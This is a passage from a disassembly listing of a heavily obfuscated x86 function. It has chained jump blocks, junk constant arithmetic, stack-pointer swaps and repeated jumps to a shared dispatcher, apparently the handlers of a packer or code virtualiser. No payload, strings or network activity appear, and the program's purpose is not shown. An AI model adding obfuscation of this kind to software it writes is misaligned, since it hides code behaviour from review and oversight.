		xor	ebx, 74DC2188h
		jmp	loc_5897BA
; ---------------------------------------------------------------------------


loc_58A9CF:				; CODE XREF: sub_581EE9+76B7j
		mov	ebx, esp
		jmp	loc_58EB60
; ---------------------------------------------------------------------------


loc_58A9D6:				; CODE XREF: sub_581EE9+FA38j
		add	ecx, 7F281725h
		add	ecx, 60D8126Eh
		push	ebx
		push	edx
		mov	edx, 2B6C2CE3h
		neg	edx
		or	edx, 4346D8Ch
		inc	edx
		sub	edx, 0CEA1F61Fh
		mov	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		add	ebp, ecx
		push	ebx
		mov	ebx, 616097Fh
		jmp	loc_59029B
; ---------------------------------------------------------------------------


loc_58AA0B:				; CODE XREF: sub_581EE9+E0F5j
		push	esi
		mov	esi, 4532BEDh
		sub	ecx, esi
		pop	esi
		pop	eax
		add	ecx, 2
		push	ecx
		push	[esp-6E9Ch+arg_6E96+2]
		mov	ecx, [esp-6E98h+arg_6E8E+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58FECC
; ---------------------------------------------------------------------------


loc_58AA31:				; CODE XREF: sub_581EE9+C1A4j
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58AA37:				; CODE XREF: sub_581EE9+E328j
		mov	ebp, 132EE1h
		sub	[esp-6E98h+arg_6E92+2],	ebp
		jmp	loc_5882BC
; ---------------------------------------------------------------------------


loc_58AA45:				; DATA XREF: sub_581EE9+3C1Bo
		mov	cx, word ptr [esp-6E98h+arg_6E8E+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6E94h+arg_6E8A+2]
		pop	esp
		mov	[esp-6E98h+arg_6E8E+2],	esi
		jmp	loc_5880C4
; ---------------------------------------------------------------------------


loc_58AA61:				; CODE XREF: sub_581EE9+5339j
		xor	esi, [esp-6ECCh+arg_6EC2+2]
		jmp	loc_58FB38
; ---------------------------------------------------------------------------


loc_58AA69:				; CODE XREF: sub_581EE9+EB28j
		pop	esi
		xor	ebx, [esp-6ED0h+arg_6EC6+2]
		xor	[esp-6ED0h+arg_6EC6+2],	ebx
		jmp	loc_585EEE
; ---------------------------------------------------------------------------

locret_58AA75:				; CODE XREF: sub_581EE9+E28Aj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_586B17
; ---------------------------------------------------------------------------


loc_58AA7B:				; CODE XREF: sub_581EE9+6AE4j
		add	ecx, 82069511h
		add	ecx, 43852C8Ah
		jmp	loc_58A4B7
; ---------------------------------------------------------------------------


loc_58AA8C:				; CODE XREF: sub_581EE9+63ABj
		push	ecx
		jmp	loc_58F0A8
; ---------------------------------------------------------------------------


loc_58AA92:				; CODE XREF: sub_581EE9+894Bj
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	edx
		push	ebx
		jmp	loc_590E31
; ---------------------------------------------------------------------------


loc_58AAA1:				; CODE XREF: sub_581EE9+D39Bj
		mov	edx, 622E9Eh
		or	edx, 670D7D4Dh
		inc	edx
		shr	edx, 6
		xor	edx, 32E4F279h
		sub	eax, edx
		pop	edx
		pop	ebp
		xchg	eax, [esp-6EFEh+arg_6EF6]
		mov	esp, [esp-6EFEh+arg_6EF6]
		push	eax
		mov	eax, 4
		and	ecx, eax
		push	[esp-6EFAh+arg_6EF0+2]
		mov	eax, [esp-6EF6h+arg_6EEC+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EF2h+arg_6EE8+2]
		pop	esp
		push	ebx
		push	esp
		mov	ebx, [esp-6EEEh+arg_6EE4+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58FA83
; ---------------------------------------------------------------------------


loc_58AAF0:				; CODE XREF: sub_581EE9+E8A3j
		add	al, 1
		add	al, bh
		sub	al, 1
		add	al, 2Fh
		mov	bx, word ptr [esp-6EEAh+arg_6EE0+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_587708
; ---------------------------------------------------------------------------


loc_58AB04:				; CODE XREF: sub_581EE9+C5A4j
		push	[esp-6EE6h+arg_6EDC+2]
		pop	eax
		add	esp, 4
		add	eax, 4
		push	edx
		jmp	loc_58CFB9
; ---------------------------------------------------------------------------


loc_58AB19:				; CODE XREF: sub_581EE9+4A12j
		and	dh, 6Bh
		shl	dh, 2
		push	eax
		mov	al, 0EFh
		not	al
		not	al
		sub	al, 9Eh
		xor	al, 5Bh
		add	dh, al
		jmp	loc_5903A1
; ---------------------------------------------------------------------------


loc_58AB31:				; CODE XREF: sub_581EE9+9D3Bj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp-6ECAh+arg_6EC2]
		pop	esp
		push	278Bh
		mov	[esp-6ECAh+arg_6EC2], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58936A
; ---------------------------------------------------------------------------


loc_58AB61:				; CODE XREF: sub_581EE9+D543j
		push	edx
		mov	edx, esp
		jmp	loc_586FE1
; ---------------------------------------------------------------------------


loc_58AB69:				; CODE XREF: sub_581EE9+637Dj
		shr	esi, 2
		push	ebp
		jmp	loc_58F06F
; ---------------------------------------------------------------------------


loc_58AB72:				; CODE XREF: sub_581EE9+59D9j
		mov	[esp-6F12h+arg_6F0A], edi
		jmp	loc_585D3B
; ---------------------------------------------------------------------------


loc_58AB7A:				; CODE XREF: sub_581EE9+8F11j
		mov	[esp-6F12h+arg_6F0A], eax
		mov	eax, esp
		jmp	loc_590D7F
; ---------------------------------------------------------------------------


loc_58AB84:				; CODE XREF: sub_581EE9+85DAj
		mov	ecx, edx
		mov	edx, [esp-6E84h+arg_6E7C]
		add	esp, 4
		push	ecx
		push	ebx
		pop	ecx
		pop	ebx
		not	ebx
		xchg	ebx, ecx
		sub	ecx, 1
		push	esi
		mov	esi, 3F4B6B96h
		sub	esi, 7B864677h
		not	esi
		jmp	loc_59148C
; ---------------------------------------------------------------------------


loc_58ABAA:				; CODE XREF: sub_581EE9+DDBDj
		pop	eax
		add	esi, 1
		shl	esi, 5
		sub	esi, 0C29E585Fh
		or	eax, esi
		jmp	loc_58D701
; ---------------------------------------------------------------------------


loc_58ABC1:				; CODE XREF: sub_581EE9+5605j
		pop	ebp
		add	edi, 4
		jmp	loc_5903DB
; ---------------------------------------------------------------------------


loc_58ABCD:				; CODE XREF: sub_581EE9+7759j
		push	5F04h
		mov	[esp-6EBCh+arg_6EB2+2],	edi
		push	1
		pop	edi
		jmp	loc_58C020
; ---------------------------------------------------------------------------


loc_58ABE0:				; CODE XREF: sub_581EE9+E4EDj
		pop	edi
		sub	edi, ebx
		jmp	loc_58F729
; ---------------------------------------------------------------------------


loc_58ABE8:				; CODE XREF: sub_581EE9+80FBj
		pop	eax
		pop	[esp-6ED4h+arg_6ECA+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58ABF4:				; CODE XREF: sub_581EE9+A061j
		push	0B77h
		mov	[esp-6ED4h+arg_6ECA+2],	esp
		push	edx
		mov	edx, 4
		add	[esp-6ED0h+arg_6ECA+2],	edx
		jmp	loc_58DB95
; ---------------------------------------------------------------------------


loc_58AC0B:				; CODE XREF: sub_581EE9+884Aj
		push	eax
		jmp	loc_5889D2
; ---------------------------------------------------------------------------


loc_58AC11:				; CODE XREF: sub_581EE9+3E1Aj
		mov	ebp, 552441A0h
		and	edx, ebp
		jmp	loc_58E222
; ---------------------------------------------------------------------------


loc_58AC1D:				; CODE XREF: sub_581EE9+56C3j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_5905B8
; ---------------------------------------------------------------------------


loc_58AC2B:				; CODE XREF: sub_581EE9+4674j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5917EC
; ---------------------------------------------------------------------------


loc_58AC39:				; DATA XREF: sub_581EE9+3C97o
		lodsd
		jmp	loc_587299
; ---------------------------------------------------------------------------


loc_58AC3F:				; CODE XREF: sub_581EE9+60D3j
		pop	edi
		pop	edx
		add	ecx, 0F014ABBh
		add	ecx, 62493C68h
		add	ecx, edi
		sub	ecx, 62493C68h
		push	ebx
		jmp	loc_587B1C
; ---------------------------------------------------------------------------


loc_58AC5B:				; CODE XREF: sub_581EE9+DAF7j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_59023C
; ---------------------------------------------------------------------------


loc_58AC6E:				; CODE XREF: sub_581EE9+F4D5j
		push	ecx
		mov	ecx, 106A787Dh
		push	ecx
		not	[esp-6ECEh+arg_6EC6]
		jmp	loc_588B63
; ---------------------------------------------------------------------------


loc_58AC7D:				; DATA XREF: sub_581EE9+3CFFo
		mov	ax, word ptr [esp-6ECEh+arg_6EC6]
		push	ecx
		jmp	loc_587967
; ---------------------------------------------------------------------------


loc_58AC87:				; CODE XREF: sub_581EE9+575Cj
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_58BEC5
; ---------------------------------------------------------------------------


loc_58AC94:				; CODE XREF: sub_581EE9+687Dj
		xor	ebp, ecx
		pop	ecx
		push	3F96h
		mov	[esp-6EC4h+arg_6EBA+2],	eax
		mov	eax, 64150DBFh
		jmp	loc_58BA71
; ---------------------------------------------------------------------------


loc_58ACA9:				; CODE XREF: sub_581EE9+4ECEj
		xchg	esi, [esp-6EC2h+arg_6EBA]
		pop	esp
		sub	esp, 4
		jmp	loc_59178F
; ---------------------------------------------------------------------------


loc_58ACB5:				; CODE XREF: sub_581EE9+D0E3j
		sub	ebp, 59C70D49h
		sub	ebp, ebx
		add	ebp, 59C70D49h
		pop	ebx
		sub	ebp, 46AF5381h
		sub	ebp, 5F7153Ah
		and	eax, ebp
		mov	ebp, [esp-6EC6h+arg_6EBE]
		jmp	loc_588A3A
; ---------------------------------------------------------------------------


loc_58ACDA:				; CODE XREF: sub_581EE9+469Dj
		sub	bh, 95h
		jmp	loc_58CECB
; ---------------------------------------------------------------------------


loc_58ACE2:				; CODE XREF: sub_581EE9+DE71j
		mov	eax, ebx
		pop	ebx
		jmp	loc_58677F
; ---------------------------------------------------------------------------


loc_58ACEA:				; CODE XREF: sub_581EE9+6796j
		and	eax, esi
		push	[esp-6EE8h+arg_6EE0]
		pop	esi
		push	eax
		jmp	loc_58EAC7
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 7B757537h
		jmp	loc_59162E
; ---------------------------------------------------------------------------


loc_58AD01:				; CODE XREF: sub_581EE9+DF8Cj
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_589418
; ---------------------------------------------------------------------------


loc_58AD19:				; CODE XREF: sub_581EE9+7C52j
		add	ebx, edi
		add	ebx, 337814D1h
		push	esi
		push	edx
		mov	edx, 7B6E300Ah
		mov	esi, 0D67011Eh
		xor	esi, edx
		jmp	loc_588339
; ---------------------------------------------------------------------------


loc_58AD34:				; CODE XREF: sub_581EE9+689Aj
		pop	cx
		add	al, cl
		jmp	loc_58C8F1
; ---------------------------------------------------------------------------


loc_58AD3D:				; CODE XREF: sub_581EE9+E97Dj
		xor	esi, 214660F6h
		jmp	loc_58BE7E
; ---------------------------------------------------------------------------


loc_58AD48:				; CODE XREF: sub_581EE9+96B0j
		mov	eax, ecx
		mov	ecx, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		add	esi, 79D81601h
		add	esi, eax
		sub	esi, 79D81601h
		pop	eax
		xchg	esi, [esp-6E94h+arg_6E8A+2]
		mov	esp, [esp-6E94h+arg_6E8A+2]
		shl	word ptr [esp-6E94h+arg_6E8A+2], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58AD72:				; CODE XREF: sub_581EE9+86A5j
		push	esi
		push	2A805C57h
		jmp	loc_5876E2
; ---------------------------------------------------------------------------


loc_58AD7D:				; CODE XREF: sub_581EE9+C65Aj
		mov	ecx, 5D973065h
		sub	ebx, ecx
		pop	ecx
		add	ebx, ecx
		add	ebx, 5D973065h
		pop	ecx
		xchg	ebx, [esp-6EC2h+arg_6EBA]
		pop	esp
		shr	[esp-6EC6h+arg_6EBE], cl
		pushf
		jmp	loc_58D905
; ---------------------------------------------------------------------------


loc_58AD9B:				; CODE XREF: sub_581EE9+40C0j
		sub	ecx, 49A5742Eh
		add	ecx, ebp
		add	ecx, 49A5742Eh
		jmp	loc_586F35
; ---------------------------------------------------------------------------


loc_58ADAE:				; CODE XREF: sub_581EE9+598Aj
		xor	eax, 95F0427Ah
		add	ebp, eax
		mov	eax, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		push	ebx
		mov	ebx, 5FBE5782h
		or	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 7FFF7FA1h
		jmp	loc_58D102
; ---------------------------------------------------------------------------


loc_58ADCF:				; CODE XREF: sub_581EE9+C2EFj
		add	esp, 4
		add	edi, 0FFFFFFFFh
		push	ebx
		push	edx
		push	eax
		jmp	loc_589E0E
; ---------------------------------------------------------------------------


loc_58ADE3:				; DATA XREF: sub_581EE9+3C17o
		mov	ax, word ptr [esp-6EBEh+arg_6EB6]
		sub	esp, 4
		mov	[esp-6EBAh+arg_6EB2], edi
		push	esp
		push	[esp-6EB6h+arg_6EAC+2]
		pop	edi
		push	3929h
		jmp	loc_58AB7A
; ---------------------------------------------------------------------------


loc_58ADFF:				; CODE XREF: sub_581EE9+7878j
		add	ebp, 4
		jmp	loc_58E492
; ---------------------------------------------------------------------------


loc_58AE0A:				; CODE XREF: sub_581EE9+F3AFj
		mov	edi, 0DCB3A41h
		xor	edi, 319370BDh
		jmp	loc_591438
; ---------------------------------------------------------------------------


loc_58AE1A:				; CODE XREF: sub_581EE9+AD05j
		sub	esp, 4
		mov	[esp-6EDAh+arg_6ED2], edx
		mov	edx, 23707C9Ch
		sub	edx, 0ADE20018h
		sub	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 0B1501F41h
		jmp	loc_58D7A3
; ---------------------------------------------------------------------------


loc_58AE39:				; CODE XREF: sub_581EE9+4BBFj
		sub	eax, 4393962h
		jmp	loc_58E208
; ---------------------------------------------------------------------------


loc_58AE43:				; CODE XREF: sub_581EE9+B6DBj
		sub	al, bl
		push	bx
		push	eax
		mov	ah, 33h
		jmp	loc_58D7CC
; ---------------------------------------------------------------------------


loc_58AE4F:				; CODE XREF: sub_581EE9+8268j
		pop	ebp
		add	ebp, 4
		jmp	loc_58DCED
; ---------------------------------------------------------------------------


loc_58AE5B:				; CODE XREF: sub_581EE9+F929j
		inc	ebp
		jmp	loc_58A593
; ---------------------------------------------------------------------------


loc_58AE61:				; CODE XREF: sub_581EE9+CA79j
		add	ecx, 4
		jmp	loc_58DAB7
; ---------------------------------------------------------------------------


loc_58AE6C:				; CODE XREF: sub_581EE9+79D1j
		pop	eax
		jmp	loc_588FB8
; ---------------------------------------------------------------------------


loc_58AE72:				; CODE XREF: sub_581EE9+A18Cj
		mov	ebp, 0EC032DBh
		jmp	loc_58F0E1
; ---------------------------------------------------------------------------


loc_58AE7C:				; CODE XREF: sub_581EE9+DB72j
		sub	edi, eax
		jmp	loc_585D66
; ---------------------------------------------------------------------------


loc_58AE83:				; CODE XREF: sub_581EE9+957Aj
		shr	eax, 1
		push	ebp
		mov	ebp, 501F6545h
		push	edx
		jmp	loc_58643D
; ---------------------------------------------------------------------------


loc_58AE91:				; CODE XREF: sub_581EE9+6868j
		mov	ecx, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_58DFA6
; ---------------------------------------------------------------------------


loc_58AE99:				; CODE XREF: sub_581EE9+CFB3j
		add	ebx, edi
		jmp	loc_587825
; ---------------------------------------------------------------------------


loc_58AEA0:				; CODE XREF: sub_581EE9+83C5j
		pop	ebx
		push	67D7h
		mov	[esp-6EC2h+arg_6EBA], edi
		mov	edi, esp
		push	ebp
		jmp	loc_5896A6
; ---------------------------------------------------------------------------


loc_58AEB1:				; CODE XREF: sub_581EE9+E78Ej
		mov	ch, 8Ah
		add	ch, al
		pop	eax
		mov	ah, ch
		pop	ecx
		mov	dl, 21h
		add	dl, ah
		pop	eax
		push	0FA3h
		mov	[esp-6EC6h+arg_6EBE], ecx
		mov	cl, 68h
		shr	cl, 2
		shr	cl, 8
		shl	cl, 1
		sub	cl, 0FFh
		add	cl, 47h
		jmp	loc_590ACE
; ---------------------------------------------------------------------------


loc_58AEDB:				; CODE XREF: sub_581EE9+E29Ej
		mov	eax, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_58FAA5
; ---------------------------------------------------------------------------


loc_58AEED:				; CODE XREF: sub_581EE9+8186j
		push	ebx
		mov	ebx, 74D0B51h
		and	edx, ebx
		pop	ebx
		shr	edx, 8
		xor	edx, offset loc_6004B8
		xor	esi, edx
		mov	edx, [esp-6ECEh+arg_6EC6]
		jmp	loc_58F207
; ---------------------------------------------------------------------------


loc_58AF09:				; CODE XREF: sub_581EE9+82BCj
		mov	[esp-6ED4h+arg_6ECA+2],	eax
		push	2
		pop	eax
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp-6ED8h+arg_6ECE+2]
		jmp	loc_58D197
; ---------------------------------------------------------------------------


loc_58AF1D:				; CODE XREF: sub_581EE9+510Aj
		push	[esp-6EF6h+arg_6EF0+2]
		pop	ebp
		pop	[esp-6EF6h+arg_6EEC+2]
		jmp	loc_587AF2
; ---------------------------------------------------------------------------


loc_58AF2A:				; CODE XREF: sub_581EE9+5181j
		mov	word ptr [esp-6F00h+arg_6EF6+2], cx
		movzx	cx, al
		jmp	loc_586C6A
; ---------------------------------------------------------------------------


loc_58AF37:				; CODE XREF: sub_581EE9+EB3Cj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp-6F00h+arg_6EF6+2]
		mov	esp, [esp-6F00h+arg_6EF6+2]


loc_58AF46:				; CODE XREF: sub_581EE9+49E0j
		sub	esp, 4
		jmp	loc_586C7D
; ---------------------------------------------------------------------------


loc_58AF4E:				; CODE XREF: sub_581EE9+BF73j
		push	ecx
		mov	ecx, 26908C9h
		jmp	loc_58B903
; ---------------------------------------------------------------------------


loc_58AF59:				; CODE XREF: sub_581EE9+4BA4j
		mov	bh, al
		mov	cl, bh
		pop	ebx
		pop	eax
		mov	[edi+28h], cl
		jmp	loc_5910EF
; ---------------------------------------------------------------------------


loc_58AF67:				; CODE XREF: sub_581EE9+A1A4j
		add	bl, 0C4h
		add	al, bl
		mov	bx, word ptr [esp-6EDAh+arg_6ED2]
		add	esp, 2
		jmp	loc_5905C8
; ---------------------------------------------------------------------------


loc_58AF78:				; CODE XREF: sub_581EE9+F9CEj
		or	ebx, ebx
		jnz	loc_587DA4
		push	6E7Ch
		mov	[esp-6EDAh+arg_6ED2], edx
		pop	dword ptr [edi+20h]
		jmp	loc_588171
; ---------------------------------------------------------------------------


loc_58AF90:				; CODE XREF: sub_581EE9+630Bj
		and	byte ptr [esp-6ED4h+arg_6ECA+2], al
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58AF99:				; CODE XREF: sub_581EE9+84C3j
		pop	ebp
		xor	eax, ecx
		pop	ecx
		xor	ebx, eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58E7FE
; ---------------------------------------------------------------------------


loc_58AFAD:				; CODE XREF: sub_581EE9+82C3j
		pop	edx
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp-6EDCh+arg_6ED2+2]
		xor	[esp-6EDCh+arg_6ED2+2],	ebx
		xor	ebx, [esp-6EDCh+arg_6ED2+2]
		pop	esp
		mov	[esp-6EE0h+arg_6ED6+2],	eax
		not	[esp-6EE0h+arg_6ED6+2]
		push	[esp-6EE0h+arg_6ED6+2]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EE0h+arg_6ED6+2],	ebx
		push	eax
		push	22501596h
		pop	eax
		jmp	loc_588325
; ---------------------------------------------------------------------------


loc_58AFDA:				; CODE XREF: sub_581EE9+DFC9j
		pop	esi
		add	esi, eax
		jmp	loc_58DA8F
; ---------------------------------------------------------------------------


loc_58AFE2:				; CODE XREF: sub_581EE9+E8BFj
		add	esi, 4
		xchg	esi, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		or	[esp-6EE4h+arg_6EDC], eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58AFF5:				; CODE XREF: sub_581EE9+A60Fj
		mov	ecx, 0BAF114Dh
		or	ecx, 53C65561h
		sub	ecx, 69AD7D7Ch
		add	ecx, 8ADE954Eh
		xor	ebx, ecx
		pop	ecx
		mov	eax, ebx
		pop	ebx
		sub	ebp, eax
		pop	eax
		jmp	loc_58775B
; ---------------------------------------------------------------------------


loc_58B01A:				; CODE XREF: sub_581EE9+77F7j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EDEh+arg_6ED6], ebp
		jmp	loc_58A248
; ---------------------------------------------------------------------------


loc_58B02E:				; DATA XREF: sub_581EE9+3C43o
		sub	esp, 4
		mov	[esp-6EF6h+arg_6EEC+2],	esi
		push	eax
		push	200h
		pop	eax
		push	7129h
		mov	[esp], edi
		mov	edi, eax
		push	edi
		xor	[esp-6EEAh+arg_6EE0+2],	53CC3905h
		pop	esi
		xor	esi, 53CC3905h
		pop	edi
		jmp	loc_587A45
; ---------------------------------------------------------------------------


loc_58B05D:				; CODE XREF: sub_581EE9+5BD0j
		inc	eax
		neg	eax
		xor	eax, 0F31691C5h
		mov	ebx, eax
		pop	eax
		mov	esi, 5C0298ACh
		sub	esi, ebx
		pop	ebx
		add	esi, 11C60C62h
		shl	esi, 5
		inc	esi
		jmp	loc_58A63E
; ---------------------------------------------------------------------------


loc_58B07F:				; CODE XREF: sub_581EE9+C894j
		add	ecx, 4
		jmp	loc_588A13
; ---------------------------------------------------------------------------


loc_58B08A:				; CODE XREF: sub_581EE9+B634j
		add	al, 11h
		sub	al, bl
		sub	al, 11h
		jmp	loc_58C51A
; ---------------------------------------------------------------------------


loc_58B095:				; CODE XREF: sub_581EE9+872Cj
		add	cl, 34h
		sub	bl, cl
		pop	ecx
		add	bl, 27h
		sub	bl, al
		sub	bl, 27h
		push	4D94h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		mov	ch, 0E4h
		push	ebx
		mov	bh, 0AEh
		not	bh
		jmp	loc_5887ED
; ---------------------------------------------------------------------------


loc_58B0B7:				; CODE XREF: sub_581EE9+CCBFj
		mov	[esp-6EA6h+arg_6E9E], eax
		mov	eax, 1Ch
		sub	eax, 39A35B8Ch
		sub	eax, 49576DE5h
		jmp	loc_58FC6E
; ---------------------------------------------------------------------------


loc_58B0CE:				; CODE XREF: sub_581EE9+4F90j
		mov	eax, [esp+0]
		add	esp, 4
		push	6E20h
		jmp	loc_58BCF6
; ---------------------------------------------------------------------------


loc_58B0E1:				; CODE XREF: sub_581EE9+FC24j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		xchg	ebp, [esp-6EB4h+arg_6EAC]
		pop	esp
		add	ecx, 4
		push	esi
		jmp	loc_5863BB
; ---------------------------------------------------------------------------


loc_58B10B:				; CODE XREF: sub_581EE9+570Cj
		mov	[esp-6F0Ah+arg_6F02], edx
		jmp	loc_58D568
; ---------------------------------------------------------------------------


loc_58B113:				; CODE XREF: sub_581EE9+5A79j
		add	ecx, 4
		push	5A55h
		mov	[esp-6EF6h+arg_6EEC+2],	edi
		jmp	loc_58E838
; ---------------------------------------------------------------------------


loc_58B126:				; CODE XREF: sub_581EE9+A9C8j
		mov	ecx, esp
		push	edx
		jmp	loc_58E62D
; ---------------------------------------------------------------------------


loc_58B12E:				; CODE XREF: sub_581EE9+77C2j
		add	edi, 18F47557h
		add	edi, ebp
		jmp	loc_5874E8
; ---------------------------------------------------------------------------


loc_58B13B:				; CODE XREF: sub_581EE9+6F34j
		sub	edi, 31DF9217h
		jmp	loc_589378
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 232C1BE7h
		add	eax, ebx
		push	esi
		mov	esi, 2094658Ch
		push	ebp
		push	esi
		mov	esi, 667506B6h
		dec	esi
		push	ebp
		mov	ebp, 62785595h
		sub	ebp, 2B7D2408h
		sub	ebp, 2DE83C0Ah
		sub	ebp, 75F06039h
		not	ebp
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	ecx
		mov	ecx, 302A6942h
		sub	ebp, ecx
		pop	ecx
		add	esi, ebp
		pop	ebp
		add	esi, 0A909CEC0h
		mov	ebp, esi
		pop	esi
		inc	ebp
		add	ebp, 52CF56FFh
		dec	ebp
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		add	ebp, 7AF118B6h
		xor	ebp, 9E84EAE8h
		jmp	loc_5882D2
; ---------------------------------------------------------------------------


loc_58B1AF:				; CODE XREF: sub_581EE9+6E94j
		mov	[esp-6EB0h+arg_6EA8], esp
		jmp	loc_5915F3
; ---------------------------------------------------------------------------


loc_58B1B7:				; CODE XREF: sub_581EE9+561Bj
		add	ecx, esi
		pop	esi
		add	ecx, 4
		push	ecx
		jmp	loc_58FE71
; ---------------------------------------------------------------------------


loc_58B1C3:				; CODE XREF: sub_581EE9+B17Cj
		pop	esp
		xchg	ecx, [esp-6ECAh+arg_6EC2]
		mov	esp, [esp-6ECAh+arg_6EC2]
		push	[esp-6ECAh+arg_6EC2]
		mov	eax, [esp-6EC6h+arg_6EBE]
		jmp	loc_585EB8
; ---------------------------------------------------------------------------


loc_58B1D5:				; CODE XREF: sub_581EE9+BE39j
		mov	ecx, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		xor	ecx, 16BD180Dh
		dec	ecx
		not	ecx
		add	ecx, 15AC00A4h
		mov	edx, ecx
		mov	ecx, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		or	[edi+1Ch], edx
		jmp	loc_590E85
; ---------------------------------------------------------------------------


loc_58B200:				; CODE XREF: sub_581EE9+5664j
		mov	esi, 2E4338EDh
		shl	esi, 7
		push	ebx
		mov	ebx, 1
		add	esi, ebx
		mov	ebx, [esp-6EBAh+arg_6EB2]
		add	esp, 4
		sub	esi, 5CE42BF8h
		jmp	loc_58F346
; ---------------------------------------------------------------------------


loc_58B221:				; CODE XREF: sub_581EE9+61F6j
		push	edi
		mov	edi, 2C5F7440h
		shl	edi, 2
		or	edi, 17960B02h
		shl	edi, 1
		xor	edi, 59B717CBh
		or	edi, 458939E0h
		add	edi, 0F71C4D7Dh
		add	eax, edi
		mov	edi, [esp-6EBEh+arg_6EB6]
		jmp	loc_58CF95
; ---------------------------------------------------------------------------


loc_58B24E:				; CODE XREF: sub_581EE9+F6BDj
		mov	[esp-6EBEh+arg_6EB6], ecx
		mov	ecx, 2FBB0E3Bh
		shl	ecx, 8
		jmp	loc_58DEED
; ---------------------------------------------------------------------------


loc_58B25E:				; CODE XREF: sub_581EE9+AD90j
		pop	edx
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-6EC2h+arg_6EBA]
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58B271:				; CODE XREF: sub_581EE9+8093j
		mov	edi, 4
		add	ebx, edi
		push	dword ptr [esp-6EAAh+arg_6EA2]
		mov	edi, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		push	edi
		mov	edi, 7A7C773Ah
		jmp	loc_58E533
; ---------------------------------------------------------------------------


loc_58B29B:				; CODE XREF: sub_581EE9+9D0Ej
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp-6EA6h+arg_6E9E]
		pop	esp
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		push	24h
		pop	ecx
		add	esi, ecx
		mov	ecx, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		push	18FAh
		jmp	loc_589134
; ---------------------------------------------------------------------------


loc_58B2C3:				; CODE XREF: sub_581EE9+41DCj
		add	esp, 4
		xchg	ebx, [esp-6EC6h+arg_6EBE]
		mov	esp, [esp-6EC6h+arg_6EBE]
		push	[esp-6EC6h+arg_6EBE]
		mov	ecx, [esp-6EC2h+arg_6EBA]
		jmp	loc_585F24
; ---------------------------------------------------------------------------


loc_58B2DA:				; CODE XREF: sub_581EE9+71E3j
		pop	[esp-6EC0h+arg_6EB6+2]
		pop	esp
		add	esp, 4
		push	[esp-6ECCh+arg_6EC2+2]
		jmp	loc_590FD5
; ---------------------------------------------------------------------------


loc_58B2E9:				; DATA XREF: sub_581EE9+3C6Bo
		mov	cx, word ptr [esp-6EC8h+arg_6EBE+2]
		push	esi
		push	258Dh
		push	esp
		pop	[esp-6EBCh+arg_6EB2+2]
		add	[esp-6EC0h+arg_6EB6+2],	4
		jmp	loc_590ECD
; ---------------------------------------------------------------------------


loc_58B303:				; CODE XREF: sub_581EE9+BC7Aj
		mov	[esp-6EC0h+arg_6EB6+2],	esi
		jmp	loc_585EBF
; ---------------------------------------------------------------------------


loc_58B30B:				; CODE XREF: sub_581EE9+BC98j
		push	esi
		jmp	loc_58E579
; ---------------------------------------------------------------------------


loc_58B311:				; CODE XREF: sub_581EE9+4122j
		mov	ecx, 42814450h
		xor	ecx, 49183093h
		add	ecx, 6CA396EAh
		and	edi, ecx
		pop	ecx
		sub	edi, 0ECBAD32Dh
